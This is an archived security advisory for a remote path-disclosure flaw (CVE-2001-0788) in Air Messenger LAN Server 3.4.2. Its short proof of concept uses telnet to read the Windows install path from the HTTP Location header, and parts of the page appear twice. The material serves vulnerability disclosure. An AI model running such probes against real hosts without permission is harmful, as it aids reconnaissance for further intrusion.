Air Messenger LAN Server Path Disclosure Vulnerability
BID:2881
Info
Air Messenger LAN Server Path Disclosure Vulnerability
| Bugtraq ID: | 2881 |
| Class: | Design Error |
| CVE: |
CVE-2001-0788 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 18 2001 12:00AM |
| Updated: | Jul 11 2009 06:56AM |
| Credit: | Reported to bugtraq by SNS Research <[email protected]> on June 18, 2001. |
| Vulnerable: |
Internet Software Solutions Air Messenger LAN Server 3.4.2 |
| Not Vulnerable: | |
Discussion
Air Messenger LAN Server Path Disclosure Vulnerability
Air Messenger LAN Server for Microsoft Windows allows users to exchange phone, pager and email messages through a Web gateway.
The path to sensitive files used by AMLServer can be easily obtained by any remote user, simply by examining the webserver's http-header 'Location' field.
This information may assist in further attacks against the host (see BIDS 2882 and 2883).
Air Messenger LAN Server for Microsoft Windows allows users to exchange phone, pager and email messages through a Web gateway.
The path to sensitive files used by AMLServer can be easily obtained by any remote user, simply by examining the webserver's http-header 'Location' field.
This information may assist in further attacks against the host (see BIDS 2882 and 2883).
Exploit / POC
Air Messenger LAN Server Path Disclosure Vulnerability
example (courtesy SNS Research <[email protected]>):
----
$ telnet target 80|grep Location
Location: http://C:\PROGRA~1\ISS\AIRMES~1\Messages
Connection closed by foreign host.
----
example (courtesy SNS Research <[email protected]>):
----
$ telnet target 80|grep Location
Location: http://C:\PROGRA~1\ISS\AIRMES~1\Messages
Connection closed by foreign host.
----
References
Air Messenger LAN Server Path Disclosure Vulnerability
References:
References:
- AMLServer vendor website (Internet Software Solutions)